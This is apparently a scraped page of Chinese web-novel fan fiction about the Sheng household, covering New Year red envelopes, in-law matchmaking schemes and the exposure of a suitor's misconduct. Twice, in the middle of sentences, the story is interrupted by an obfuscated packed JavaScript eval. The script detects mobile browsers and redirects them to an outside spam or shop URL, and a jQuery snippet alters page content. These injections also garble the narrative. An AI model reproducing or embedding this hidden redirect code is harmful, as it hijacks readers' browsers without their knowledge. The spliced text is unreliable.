盛老太太看着盛瑾乖乖的坐在一旁,脸上露出疑惑的表情,突然,噗的一声笑出来,盛瑾不明所以,过了一会儿,她面带微笑的拍了拍盛瑾的手,语气柔和,道:“你之前给松哥儿他们送的见面礼太贵重了,你大堂嫂嫂估计打算给明儿和安哥儿一个大红包补回来,你给这么大的红包,会弄得大家都很尴尬,到时候你大堂嫂嫂她们虽不会说什么,但面子上却是不好看的,再者,你那弟弟乃至你维堂兄,他们和白老爷不同,就说你弟弟吧,他可没有白老爷那样的身家,到时候回汴州城,你若是一直这么送,他面子上也不好看的,最主要的是大房和二房之间的关系是互惠的,不好打破这个平衡。” 其实盛老太太的意思是若盛瑾这样弄得话,盛维将来有什么事情都会不太好意思上门求助的,再加上盛维未来的生意多少都会因为盛瑾的名头而顺利很多,不能让盛瑾一味地付出,却没有回报,这样不利于将来盛瑾和盛家族人的相处模式,而且规则一旦被打破,就很难再恢复原样了。 盛瑾听到盛老太太这么说,也无话可说了,反正他对于内宅的事情并不是很清楚,所以他选择了听盛老太太的,最终他和盛老太太定下男女都给一百两银子,至于盛瑾要给多少红包给盛明兰和盛长安,盛老太太不会说什么的。 临近中午时,盛家一大家子一起用完午膳后,李氏笑眯眯的招来盛明兰,并且给了盛明兰两个荷包,分别是给盛明兰自己和盛长安的。 盛明兰像往常一般看向盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛明兰小朋友手中分别拿着李氏给的两千两银票、盛老太太给的一千两银票,盛大老太太给的一千两银票,盛瑾给的五千两银票,她看得眼睛都直了,饶是有白老爷先前的大手笔,她也一样惊讶。 盛瑾的想法是给盛明兰补上过去五年的红包,而李氏是因为盛瑾这些日子里给盛淑兰她们送的礼物过于贵重了,再加上盛明兰如今的身份,所以给盛明兰一个大红包,至于盛大老太太则是因着盛瑾带来的郎中和药材治好了她的身子,便给盛明兰她们一个大红包以表感激之情。 小蝶赶忙跑过来,向盛明兰小朋友说明了这个银票用处后,盛明兰想着自己也不知道如何处理李氏和盛大老太太给的银票,先前白老爷给时,是偷偷塞给她的,等上了船,盛瑾才发现,但到底是祖父对孙女的爱意表达,盛老太太也没说什么。 如今这个盛明兰不好处理,不过,她决定不来的事情下意识的会找盛老太太讨主意,于是她便让小蝶去找盛老太太告知此事,可她们忘了盛长安的东西是由盛老太太保管的,盛老太太怎么不会知道这些事情呢。 小蝶拿着这些银票的手有些发抖,等她安全来到盛老太太的屋内,将这些银票交给房嬷嬷,并亲眼看着房嬷嬷又将这些银票交给盛老太太后,她的心情方才平复下来,毕竟她从来没有见过这么大的一笔钱,她也不知道如何处理。 盛老太太看着房嬷嬷手中的荷包,目光又转向强装镇定的小蝶,心里不由得笑道:“看来这个小蝶对明儿十分忠心啊!这么大的一笔钱,都没有动心啊!不过,这胆子还是需要练练的。” 盛老太太将这些银票放在桌上,面色淡然的对着小蝶,道:“既然大老太太和大娘子给了明儿,那按照我先前说的无论是银钱还是东西都由明儿自己保管,无需交给我,你拿去给明儿放着吧。” 盛老太太说到这里顿了顿,语气淡然,道:“小蝶,你是明儿身边的一等女使,以后是要帮衬着明儿做事情的,无论什么事情,你都需要保持镇定才是,尤其是明儿如今还年幼,更是需要你保持冷静的给她出主意或是提醒她什么事情该做,什么事情不该做,你若还是这般,又该如何成为明儿的助力呢。” 小蝶听着盛老太太的话,沉思了许久,她也知道这件事情是她过于吃惊而忘了盛老太太可能知道此事的情况,毕竟盛长安的银钱和东西都是盛老太太保管的,盛明兰有的,盛长安也不会少,盛老太太也能从盛长安那里得知盛明兰的情况,她也知道这是盛老太太在提点自己,于是她一脸郑重道:“奴婢谨遵老太太的话。” 盛老太太闻言,摆了摆手,示意小蝶退下,等小蝶拿着桌上的银票离去后,她看着房嬷嬷,脸上浮现出一抹笑容,道:“这个小蝶对明儿也算是忠心耿耿,不过,等回到扬州城后,也该为明儿挑些年岁差不多的小姑娘当她的贴身女使了,毕竟贴身女使还是从小在身边长大的好啊!” 房嬷嬷听完盛老太太的话后,眉开眼笑道:“是,还是老太太想的周到,姑娘身边只有小蝶一人也忙不过来啊!也应该给她找几个女使,打打下手了。”而小蝶回到盛明兰的房间后,便将这两张银票放回到了盛明兰的钱盒子中,然后,她将盛老太太的话告诉了盛明兰,盛明兰便毫无烦恼的休息了。 第 56 章 清晨,一辆马车行驶到宥阳盛家门前,盛纭一家子从马车上下来后,便随着小厮们一同进入盛家。 盛纭这次回来是拜年来的,她带着胡二牛和胡泰生胡桂姐两个孩子一起来给盛大老太太拜过年后,一大家子人便聚在一起闲聊吃饭,这期间,她给了盛明兰和盛长安各一个大红包。 小蝶不由得感慨道:“哥儿和姑娘这次回宥阳盛家收获颇丰啊!瞧瞧这些天在盛家大房收到的东西比一个小户之家的家产还要丰厚,不过,到底是身份不一样了,这待遇也就不同了啊!” 盛纭来了没几天,李氏的大哥哥和大嫂嫂也带着自家两个孩子李郁李都上门来拜年了,朱氏带着两个孩子去给盛大老太太和盛老太太拜完年后,随手塞给了盛品兰一个红包,盛明兰两个红包,接着便让自己的两个孩子与盛明兰盛品兰一同玩耍,直到中午,李家老爷夫妇才向盛大老太太和盛老太太告退。 夜晚,李氏向盛维说起今天的事情,眼角闪过一丝笑意,道:“今天,我那大嫂嫂让两位侄儿和品兰她们一同玩耍,他们玩的可好了啊!品儿和郁哥儿都哥儿们玩可开心了。” 盛维和李氏这么多年的感情了,他自是知道李氏这句话的意思,于是他脸上浮现出一丝了然的神情,语气淡淡,道:“你起了将品儿嫁回娘家的心思,李家是不错,但你确定你那大嫂嫂会同意吗?” 李氏眼中闪过一丝得意,嘴角微微上扬,底气十足,道:“之前我是没有把握,可今天我瞧着大嫂嫂那态度,便知道她心中对品儿是有意思的,这让我有了几分把握。” 盛维眼里闪过一丝讥讽,语气中带着一丝嘲讽,道:“我的好大娘子啊!你确定你那大嫂嫂是对品儿起了心思,而不是对明姐儿起了心思嘛。” 不同于李氏的天真,盛维他一直都知道李家想要让自己的子孙入仕,李家如今不缺钱,缺的是朝堂中没有自己的人,李家那两个孙子是朝着科举入仕培养的,因此,李家决计不会让自己的孙儿娶一个对仕途无用的妻子的,对于李家而言,娶他那堂弟盛纮的庶女,都比娶他家盛品兰有利得多。 李氏双眼微微睁大,语气中夹杂着些许惊讶,道:“不会吧,明姐儿是国公之女,父亲位列正一品少师,深受陛下恩宠,嫡亲兄长是六元及第的状元郎,虽说人还在边境任职,但也是年纪轻轻位列正五品的官员,我们李家怎么高攀得上......” 李氏的声音戛然而止,她的脑海中突然闪过盛老太太的身影,这盛老太太是勇毅侯府独女,不也嫁给了出身商贾之家的探花郎嘛,这可是活生生的例子啊! 盛维看着李氏这般神情,便知她想到了什么,微微摇头,语气淡然的补刀道:“这世上本就没有什么事情是绝对不可能的,毕竟二房老太太就是一个例子,难保你大哥哥和大嫂嫂不想再复制出另一个例子,不过,他们也许只是抱着一丝侥幸的心思去试一试,毕竟瑾堂弟他们不会一直留在宥阳,更何况成与不成对于他们而言也没什么坏处。” 李氏叹了口气,眼中闪过一丝无奈,道:“还是我太天真了,我以为大嫂嫂不会对明姐儿起什么心思,毕竟李家和丰国公府的门第相差甚大,由此才忽视了明姐儿转而认为大嫂嫂是起了纳品儿为媳妇的心思。” 盛维闻言,走上前去拉着李氏的手,慢悠悠的解释道:“品儿只是国公爷的侄女,明姐儿才是国公爷名义上唯一的女儿,说句难听的娶一个国公爷的侄女,哪有娶国公爷的嫡亲女儿带来的利益大呢,再则,你我是品儿的父母,哪有越过父母找隔房堂叔父帮忙的,李家求娶品儿在朝堂上得到资源与利益并不大。” 李氏听着盛维的话,眼中难掩失望,语气中带着些许无奈,道:“也是我想多了,即便没有明姐儿,我那二姐姐家也有女儿,我大嫂嫂若是真想找个外甥女做媳妇,哪里能越过她,娶我们家的品儿呢。” 李氏在盛维的解释下也想通了,便歇了将盛品兰嫁回娘家的心思,而盛维则是将李氏拉入自己的怀中,安慰了一番后,二人便歇息了。 正如盛维所料,另一边的朱氏正和自己的官人李老爷说起今天的事情,当李老爷听完朱氏的话后,满脸你在想什么美事的表情,道:“你可真敢想啊!那是国公之女,这天底下不是没有家底丰厚又有权势、门风好的世家子弟,人家盛国公凭什么要将自己的嫡亲女儿嫁入一个商贾之家啊!” 朱氏瞪了李老爷一眼,语气中夹杂着些许不平,道:“瞧官人说的这是什么话啊!说到底我这是为了谁啊!再说了,为什么不可能呢,那盛家二房的老太太不也嫁给了盛二老太爷嘛,我如今想想也不为过吧。” 李老爷眼底闪过一丝讥讽,语气中带着些许嘲讽,道:“你可真敢想啊!那盛二老太爷是个什么长相,那可是貌若潘安啊!再则,当年盛二老太爷可是探花郎出身,我们家郁哥儿和都哥儿是有盛二老太爷那般长相呢,还是有他那般才能呢。” 李老爷说道这里,不由得叹了口气,继续道:“不是我看低我们家孩子,只是盛老太太和盛明兰的情况不同,盛老太太当年是在宫中长大的,勇毅侯府的徐老侯爷夫妇对盛老太太多有亏欠,再加上盛家二房的老太爷当年考上了探花郎,而且身家丰厚,还有一个宅子在汴州城里,所以才会同意盛老太太嫁给自己喜欢的人。” 李老爷说着说着脸上浮现出一丝了然的神情,道:“再者,勇毅侯府毕竟是武将出身,自古文官地位就比武官高些,因此,徐老侯爷夫妇对于盛老太太找一个文人当夫婿也是不反对的,可盛明兰的情况就不一样了,他的爹爹哥哥不仅都是科举出身,还都考中了状元郎,这天下谁人不知丰国公府一门两位状元郎啊!算起来也是满门状元郎了,再加上盛国公那样的家底恩宠,他家的姑娘不比王公贵女差,你信不信,等盛国公一家回了汴州城后,这丰国公府恐怕要热闹起来了,以前是因为丰国公府没个女主人,现在有盛老太太,那满汴州的女眷可有的是借口上丰国公府了,肉虽好,但架不住狼多啊!我们李家如何争得过汴州城的豪门世家啊!” 朱氏微微皱眉头,心中仍抱有一丝幻想,语气中带着一丝不甘,道:“可是盛明兰再怎么说都是过继的,那些个豪门世家不是一向看中出身嘛。” 李老爷淡淡的看了一眼朱氏,语气中带着些许冷笑,道:“那也要分情况的,盛明兰与寻常过继不同,她是直接过继到盛国公夫人名下的,算起来也是嫡出身的,而且她如今才五岁,将来是要由盛老太太和盛国公亲自扶养长大,和那些只在族谱上记名为嫡女或是长到十二三岁后过继的人不同,她是名正言顺的丰国公府嫡长女,再加上是女儿身,对于盛国公的嫡亲儿子造不成什么威胁,若是能与其嫡亲兄长好好相处,那也是能如亲兄妹一样的,汴州城的那些豪门世家又有几个是傻子呢,人家心里门清着呢,现在只等盛老太太上京了。” 朱氏听李老爷说完后,叹了口气,脸上浮现出些许落寞的神情,道:“我也不指望着能成,就是抱着一丝侥幸,万一两个孩子处出好感了呢。” 李老爷撇了朱氏一眼,语气淡然的提醒道:“两个孩子能处出什么来嘛,你可别忘了我那三妹妹家的品姐儿和我们家这两个孩子相差不大啊!别到时候引起什么误会来了,那可不好了。” 朱氏听着李老爷的话,回想起来李氏当时的表情,心里一阵后怕,道:“坏了,今天我看三妹妹那表情,不会真打上我们家孩子的主意了吧。” 李家大哥皱了一下眉头,没一会儿,神情恢复自然,道:“三妹夫不会不知道我们家的事情,他会告诉三妹妹的,以后别在这样做了就行了,而且你今天这样做,盛大老太太和盛老太太未必看不出来,只不过孩子们都还小,也就不说什么了,但若是经常如此,恐惹人生厌,到时候就得不偿失了。” 朱氏听着李老爷的话,微微点了点头,道:“官人,我知道的,以后不会了,往后如无必要,我就不带郁哥儿都哥儿去盛家了,一次就够了,让盛家二房老太太有个印象就好,以后的事情就等郁哥儿都哥儿有个功名后再说吧。” 李老爷也知道朱氏是为了自家着想,他拉着她的手,语气中满是安抚的意味,道:“娘子,我也不是怪你自作主张,我只是和你解释一下罢了,索性孩子们还小,你也不必盯着盛明兰,等以后孩子们有了功名,也不愁没有官宦人家看中他们。” 朱氏见李老爷这样安慰自己,随即满眼感动的看着他,李老爷也顺势将朱氏拥入怀中,一时之间气氛变得温馨无比,而另一边的房嬷嬷正和盛老太太说起今早的事情,只见房嬷嬷满脸笑意的服侍着盛老太太入座后,语气似是无意,道:“老太太真真是好福气啊!我瞧着今早李家大娘子那样,八是看上了我家二姑娘了。” 盛老太太喝了口茶,脸上的表情没有些许变化,语气淡然,道:“什么看不看上的,孩子们都还小,还早着呢。” 房嬷嬷闻言,嘴角微微弯起,轻声细语,道:“是啊!还早着呢,我们家二姑娘不急,国公爷的嫡长女自是不愁嫁,等到了汴州城,老太太恐怕挑孙女婿都要挑花了眼吧。” 盛老太太嘴角微微弯起,语气中带着些许温和,道:“这那里是我一个人能决定的啊!且不论瑾儿对明儿的上心,就连婷儿到时候怕是会对明儿的夫婿掘地三尺的勘察。” 房嬷嬷瞧着盛老太太的神情愉悦,语气中带着一丝调笑,道:“谁说不是呢,也不知道我们能不能赶上大房淑兰姑娘选夫婿,这样老太太你也能跟在大房老太太身边看看,给我们家二姑娘未来找夫婿积攒些经验。” 盛老太太脑海中闪过盛淑兰的身影,脸上浮现出一丝笑容,道:“听你这么一说,我才想起淑姐儿及笄到现在也快有一年时间了,维哥儿夫妇八成是要开始给她寻门好亲事了。” 房嬷嬷顺着盛老太太的话,道:“老太太说的是,这些时日老奴瞧着淑兰姑娘那性子真是温柔体贴,想必以后嫁到婆家去也不易与人发生矛盾。” 盛老太太眼神中闪过一丝担忧,可语气却没有丝毫变化,道:“淑姐儿那性子好是好,可是有时候温柔过了头,便会让人觉得有些软弱可欺了,这性子要嫁入宽厚、关系简单的婆家自然是极好的,但若是遇上个尖酸刻薄的婆母妯娌,那淑姐儿怕是有苦痛吃了。” 房嬷嬷看着盛老太太这般,低声道:“维老爷和李大娘子都是心里有成算的人,再说了,还有大房老太太看着呢,淑兰姑娘的夫婿定是极好的。” 盛老太太面色淡然,语气中带着些许神秘莫测的意味,道:“有时候你认为的极好和他人认为的极好是不一样的,嫁人如同投胎,嫁对了人自然是好过,可嫁错了人就难熬了。” 房嬷嬷瞧着盛老太太这般,一时之间也不知道说什么的好,索性过了一会儿,盛老太太便对着她说了句“我困了。”于是她就服侍盛老太太入睡了。 时间转瞬即逝,一眨眼,盛瑾一行人便在宥阳盛家待了将近七个多月,这些日子他们在宥阳的生活可以说是十分的安逸、快乐,当然,对于盛家大房而言也是一样的,毕竟如今的盛家三房被盛绉管的老老实实的,根本没办法来叨扰盛家大房的生活,不过,除了李氏的娘家大嫂嫂朱氏有时会上门拜访盛老太太和盛大老太太外,也有些人因着盛瑾的身份时常会给盛家递拜帖,可惜盛瑾除了见一面宥阳县令外谁也不见。 盛明兰和盛品兰两个小朋友之间的关系也随着时间的推移变得越发亲密了,可以说两人现如今是如影随形了,好似一个人似的,而盛长安小朋友如今也一岁多了,他完美的继承了盛纮和卫如意的优良基因,长的十分的可爱。 盛瑾有一次打量了盛长安许久后,才发现盛长安的相貌与盛长轩小时候有几分相似之处,并将此发现告知了盛老太太,盛老太太听完,神情十分愉悦,道:“安哥儿是轩哥儿的弟弟自然和他有几分相似之处的。” 不仅是盛瑾,连同房嬷嬷都能从盛老太太的言语中听出了一丝欢喜的意味,于是盛老太太身旁的房嬷嬷满脸笑容的附和道:“是啊!这是大哥儿的嫡亲儿子,自然是长的相似啊!” 盛瑾闻言,转念一想,也对,这两年从盛家众人口中了解到自己和自己那便宜爹长的十分相像,自己儿子又与自己长的相似,现在看来盛长安也应该与他那探花郎祖父长的十分相似了,自己与哥哥是双生子,这么说来盛长安也必定与哥哥长的十分相似,想来正因为如此盛老太太才会有一丝欢喜,仿佛弥补了盛老太太对自己大儿子的一丝愧疚与遗憾。 突然,外面一个丫鬟缓缓走进来,朝盛老太太和盛瑾行礼,语气恭谨,道:“老太太,扬州城的王大娘子托人送来了东西和信件,大娘子让奴婢们将东西和信件都给您送过来。” 这个丫鬟一说完便将信件送上来,而盛老太太身旁的房嬷嬷顺手接过那个丫鬟手中的信件,转头交给了盛老太太。 盛老太太接过房嬷嬷手中的信件,脸上的表情一如常态,语气淡然的吩咐道:“素琴,你随她一同将东西归纳进库房吧。”而房嬷嬷听完盛老太太的话便退下,然后,她就领着丫鬟们将东西带到库房去了。 对于王若弗这些日子来风雨不动的给盛老太太送东西,盛瑾和盛老太太、盛家大房一行人已经见怪不怪了,起初盛老太太和李氏一大家子都认为王若弗只是一时兴起,想对盛老太太尽尽孝心,谁也没想到她竟然坚持送了五趟东西。 王若弗在这些日子中每隔一个多月就给盛老太太寄一份信,还有一些礼物,她这七个多月中对盛老太太的孝心可比之前十几年的孝心加起来都要多得多,给人的感觉,仿佛是在弥补缺失的那十几年的孝心一般,真是让人大跌眼镜啊!连盛老太太也不知道她这唯一的媳妇打的什么注意了。 盛老太太将信件打开看了一遍,大体上的内容与往常相同,都是在关心盛老太太的身体之类的话,只不过这次多加了一句,问候盛老太太一行人打算何时归来。 盛老太太看完后,将信件折叠好放在桌子上,盛瑾也没有多问什么,左右不过是一些关心盛老太太身体的话,于是他便和盛老太太一同逗弄了盛长安好一会儿,直到他们一同用午膳时,盛老太太随口来了一句,道“瑾儿,你弟弟、弟媳来信询问,我们几时回扬州城。” 盛瑾听到盛老太太提起盛纮和王若弗两人,微微挑了挑眉,语气淡然,道:“再过些时日吧,我看母亲、明儿与安哥儿都在宥阳待得挺开心,尤其是明儿如今的性格变得活泼多了,全然看不出当初那唯唯诺诺的样子,可见宥阳老家养人啊!母亲要愿意,我也不介意再多待个一年半载的。” 盛老太太眉眼带,语气中带着些许笑意,道:“瑾儿,你惯会寻我开心,怎么可能在这里待如此之久呢,你还要回汴州城呢,别忘了陛下可是只给了你三年假期啊!” 盛老太太说到这里,像是想到了什么似的,脸上的表情变得平淡起来,她微微皱了下眉头,语气中带着些许担忧,道:“婷儿将两个孩子带出来也有一年多了吧,她毕竟是你宁远侯府的当家大娘子,且不提府中的事务,就单单是将两个孩子带出来这么久,我怕顾侯爷心里会有些想法。” 盛瑾听到盛老太太提起顾偃开,脸上的表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8627889|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间恢复平静,语气冷淡,道:“他不会有意见的,婷儿之前就已经和他打过招呼了,若是他还有意见那就是出尔反尔,那这个人向来是要面子的,不会自己打自己的脸的。” 盛老太太看到盛瑾的表情就知道他不喜顾偃开到了极致,就连听一下他的名字都不喜,心中叹了口气,她知道自己儿子拿白滢婷当自己的亲妹妹一般疼爱,但是他一个大男人又哪里知道内宅女眷生活的难处啊!虽说如今顾家是白滢婷当家做主,但顾家最终还是顾偃开的,他若是强硬起来,白滢婷也是没法子和他硬碰硬的。 盛老太太思考了一下,提醒盛瑾道:“我知道你不喜顾偃开,但是你也要想想婷儿啊!她已嫁入顾府,也为顾家孕育了二子,在外人看来她就是顾家的人,夫妇一体,当初你和顾家发生矛盾,只因你是占了理的,所以世人并没有说什么,可是如今事情已经过去这么久了,对于世人而言,婷儿回到顾家就证明这件事已经过去了,你可以厌恶甚至不见顾偃开,但是你需要考虑一下婷儿的处境,她还是要在顾家生活的,因此,你必须要考虑到顾偃开的想法。” 盛老太太看到盛瑾皱了皱眉头,她不由得叹了口气,道:“谁家孩子被带出来一两年的不担心呢,即使他更爱前头生的孩子,但是烨哥儿和炜哥儿也是他的儿子啊!不可能不在乎的,所以能早回去,便早些回去吧,更何况我还记得婷儿那边有个和烨哥儿差不多大的庶出姑娘,再过个一年多的也十八岁了,这勋爵贵胄人家的姑娘们大多十八九岁就要出嫁了,那个姑娘的婚事到底是需要婷儿这个嫡母去操持的。” 盛老太太看到盛瑾低头沉思,便知道他将自己的话听进去了,她实在是担心盛瑾对顾偃开的态度会影响两个孩子对父亲的态度,虽然盛瑾从未在两个孩子面前说过顾偃开什么,但是盛瑾的态度已经表示出来了,再者,她自然希望白滢婷过的好,如今顾偃开之所以对白滢婷尊敬,其一是县主之位,其二是白滢婷身后的丰国公府,其三是他再难找到一个如白滢婷一般对待顾廷煜的继室了,如今这样便很好了,无需做出什么来打破平衡了,不过,盛老太太不知道顾偃开心里因着慕卿云的早逝对盛瑾和白滢婷有些许愧疚,毕竟慕卿云是在白滢婷难产事情发生后的一段时间内去世的,他内心有些怀疑若是没有这件事情慕卿云怕是能多活几年,因此,这些年即使盛瑾对他没有任何好脸色,他也不敢多言什么。 盛老太太见盛瑾还在沉思,气氛有些沉闷,便转了个话题,开口道:“这一眨眼啊!孩子们都大了,刚刚一说到婷儿的庶女,我就想起前不久你大婶婶和大堂嫂嫂还与我聊过淑兰的婚事呢。” 盛瑾微微皱了皱眉头,语气中有些许不赞同,道:“淑姐儿还未满十七岁,这身子骨还未发育完全,为何现在就开始谈论婚事了。” 盛老太太脸上浮现出淡淡的微笑,语气柔和,道:“你以为嫁娶之事很容易嘛,好媳妇、好女婿可不好找啊!这儿子还好,可以慢慢来,这女儿便是慢不得的,若是十八岁之后还未嫁人,便不太好找到好的婆家了,若是二十岁之后还未嫁人,那流言蜚语可是能淹死人的,所以有女儿的人家从女儿及笄之后就要开始好好的相看人家了,那些个豪门世家有些更是在女儿十一二岁便开始相看了,这地里的菜可不等人啊!” 盛老太太这些日子和盛瑾待久了,人也变得活跃了,有时还会开玩笑呢,房嬷嬷都说盛老太太变得年轻了。 盛瑾知道盛老太太这是在转移话题,让自己从刚刚的话题中出来,于是他嘴角微微弯起,语气中带着些许打趣的意味,道:“那母亲知不知道大堂嫂嫂看上宥阳那颗大白菜了嘛。” 盛老太太见盛瑾也开起了玩笑,脸上的笑意浓了几分,道:“胡说,什么大白菜不大白菜的,我听她说过一嘴,好像想要找个读书人,有些中意一个姓孙的秀才,听说他十二岁便中了秀才,有些能耐,而且听说他家只有一个母亲,是他母亲浆洗供他读书的,想来也是个孝顺的。” 盛瑾心里一惊,没想到他这只蝴蝶居然没有煽掉孙志高和盛淑兰的婚事,其实他并不太清楚剧中的全部剧情,只是隐约听同事们提过里面的些许精彩剧情。 盛瑾想起盛淑兰那乖乖巧巧的样子,实在不忍心她入虎狼窝,于是他维持着脸上的笑意,开始在盛老太太面前给孙志高上眼药,道:“这十二岁考中秀才,如今都多少年了,还是个秀才,母亲,你不觉得这人有问题吗?既然能十二岁中秀才,便证明他有一定的潜力,那为什么这些年他却止步不前了,只能说明他的心思已经不在读书科举上了。” 盛老太太听完,皱了一下眉头,语气中带着些许犹豫,道:“这,你大堂嫂嫂应该会打听好的吧,这孙秀才应该没有什么问题吧。” 盛老太太在宥阳和盛淑兰相处了些许时日,对盛淑兰也有些许好感,可是盛淑兰毕竟不是她的孙女,她对于盛淑兰的婚事也插不上手,尤其是在李氏和盛维都想将盛淑兰的婚事作为一次对盛家大房的助理投资时,她就更不能对盛淑兰的婚事指手画脚了。 盛老太太眼中闪过一丝无奈,道:“淑姐儿是大房的嫡长女,她的婚事对于大房而言十分重要,我们不好多说什么,毕竟就算是骨肉至亲,鸡蛋也不能放在一个篮子里啊!”她这是在暗暗提醒盛瑾一些关于盛家大房的小心思。 盛瑾听懂了盛老太太的话,沉思片刻后,他微微皱眉,语气淡然,道:“儿子没有想太多,只是担忧以淑姐儿那性子,若是嫁进尖酸刻薄的婆家怕是难以生活下去,好歹是我侄女,我自是盼着他好的。” 盛瑾说到这里突然想到了牛朔的弟弟牛桦和桃花村村长的信件,村长一家自己是了解的,都是老实厚道之人,尤其是是从牛朔这一辈才开始跨入士族,因此没有什么门户之见,盛淑兰嫁给孙志高还不如嫁给牛桦呢,不过,这件事情还是要先问过牛朔和村长一家,于是盛瑾眼瞳微沉,语气中带着些许柔和,道:“母亲,其实儿子这里也有一个人选,只是不知道能不能成。” 盛老太太瞳孔微微睁大的看向盛瑾,她没想到自己都说的这么清楚了,盛瑾还想要插手侄女的婚事,而盛瑾一看盛老太太的表情,就知道盛老太太误会了,于是他便开始解释起这件事情的来龙去脉。 等盛瑾说完后,一脸讨好的看向盛老太太,道:“母亲,这不是赶巧了嘛,况且牛家与我交情不浅,不是我说啊!他们家都是个老实忠厚的,如今因着朔哥儿也算是迈进士族了,前程远大着呢,这不比那个孙秀才好得多嘛,只不过这桦哥儿比淑姐儿大上不少,不知道大堂嫂嫂会不会同意。” 盛老太太听完,知道自己误会了盛瑾,这件事情完全是赶巧了,沉思片刻,心里打定主意,道:“再大也不过是二十多岁的青年俊才,你大堂嫂嫂怎么可能会不答应呢?不过,这件事情还是要你先给牛桦和他的家人去信,问问,若是能成,便再说,至于孙秀才那,我去你大婶婶那里提醒一下,让她好好查查这个孙秀才,若是没问题,我们什么都不用提了,若是有问题,那就再议。” 盛老太太说完,盛瑾点了点头,然后,二人继续用了一会儿膳后,盛老太太便起身去寻盛大老太太了,而盛瑾便回房写信了。 盛大老太太被盛瑾治好后,如今精神头也好了,每天都有力气自己逛一逛院子,她看到盛老太太来找她,便与盛老太太一同闲聊起来。 盛大老太太也是个聪明的,听着盛老太太旁敲侧击的提醒,哪里不明白盛老太太的意思,于是她便派人偷偷的去调查这个孙秀才了,调查的结果让人大跌眼镜啊!也激怒了盛大老太太。 第 57 章 早晨,盛大老太太的院子中一片寂静,气氛十分的紧张,盛家大房的主君太太都在,盛大老太太低沉这脸,谁都知道这是暴风雨来临前的平静。 今天一大早,盛大老太太便将盛维和李氏找了过来,并让他们坐下,然后,盛大老太太开始发作了,只见她让丫鬟递给盛维一张纸,上面是她派人调查出来的结果。 起初盛维和李氏都不明白盛大老太太为什么一大早将他们找来,但是盛大老太太低沉的脸色,让他们什么也不敢说,直到盛维将纸上的内容看完后,脸上也难看了起来,李氏不明所以,盛维将纸递给李氏,李氏的脸上随着纸上的内容变化起来。 盛老太太看着儿子媳妇,眼里止不住的失望,语气中透着冰渣子,道:“这就是你们给淑儿找的好女婿,真真是好啊!自从考上秀才后就流连于暗娼,若不是顾及着还没娶个好媳妇,我怕他已经直接流连青楼了吧,你们是被他那秀才功名糊了眼了吧,啊!” 盛维看到盛大老太太如此生气,急忙上前,语气中满是安抚的意味,解释道:“母亲您别动怒啊!不是这样的,真不是这样的啊!我怎么会这么对淑儿呢,她是我的嫡亲女儿啊!平日里也是乖巧听话的,我疼她还来不及,如何会如此对她呢,这件事情是我们没有查清楚。” 李氏在一旁满脸焦急的附和道:“是啊!母亲,淑儿是我身上掉下来的一块肉啊!我怎么会将她往火坑里推呢。” 盛大老太太虽听着盛维夫妇的解释,但她一想到将来自己的孙女可能重蹈自己的覆辙,心中就止不住的涌起一团火,于是她眼中充满了怒火,直接开口道:“没查清楚,没查清楚你就敢将淑儿嫁给他,你知不知道,若是淑儿嫁给他后,他就是将淑儿捏在手里了,到时候,淑儿就叫天天不应,叫地地不灵了,到时候他让你们给什么你们不给,就对淑儿下手,再者,万一他也和你父亲一样纳个青楼女子,淑儿如何是那青楼女子的对手,还不被他们吃的骨头渣都不剩了。”不得不说,盛大老太太从某种程度来说还真猜对了孙志高母子的心思。 盛维听完盛大老太太的话,身上打了个冷战,急忙道:“母亲息怒,儿子从未有过用女儿来攀高枝的想法,再则,如今有瑾堂弟在,儿子更不需要这么做了。” 盛大老太太知道盛维这句话里为什么用的是“女儿”二字,而不是“淑兰”二字,这是在向盛大老太太保证,绝不用盛淑兰和盛品兰的婚事去算计什么东西。 盛大老太太得到盛维的保证后,心里的怒火熄灭了一半,随即转头看向李氏,语气中夹杂着些许恼怒,道:“我知道你是怎么想的,你和二房那位之间有矛盾,她看不起你是商贾之家的庶女身份,你心里憋了一口气,你看松哥儿梧哥儿都不是个读书的料,便想要将淑儿品儿嫁给读书人,希望自己的女婿出人头地,压她一头……” 李氏急得眼眶泛红,连忙打断盛大老太太的话,语气急促的反驳道:“母亲,没有,母亲,没有的事情啊!我对二房……” 盛大老太太摆摆手,打断李氏的话,道:“你别急着反驳我,你想什么,这些年来,我都很清楚,我也知道这些年来你不容易,所以我从来都是体谅你的,但是淑儿这件事,我还是要说的,你心里怪不怪我,我都一把年纪了,也无所谓了。” 盛老太太顿了一下,接着道:“我们盛家大房和二房一直是互惠互利的,更何况二房老太太当年帮助我们良多,我们要记住二房老太太的恩惠,我不是反对你找读书人当女婿,只是你也要看看是什么样的人家吧,这样的女婿,假如他一朝得势,要点脸的,就休妻再娶,不要脸的,就贬妻为妾,到时候你们如何救得了淑儿,那时我们盛家就真的成了整个宥阳的笑话了。” 李氏听着盛大老太太的话,心里不断冒着冷汗,她知道盛大老太太说的是事实,毕竟这个时代商贾的地位还是低的,民不与官斗可不是说说的。 盛维和李氏被盛大老太太训了半天,等到李氏回房后,坐下来静静想了一会儿,心中懊悔不已,自己的女儿差点被自己推入火坑,这天之后,李氏对盛淑兰那是好的不行啊!至于孙志高已经被李氏跑抛出脑后了,而盛维则是派人再调查了一遍孙志高,结果和盛大老太太调查的一模一样,他实在是气不过,便找人将孙志高的事情传了出去后就不在管他了。 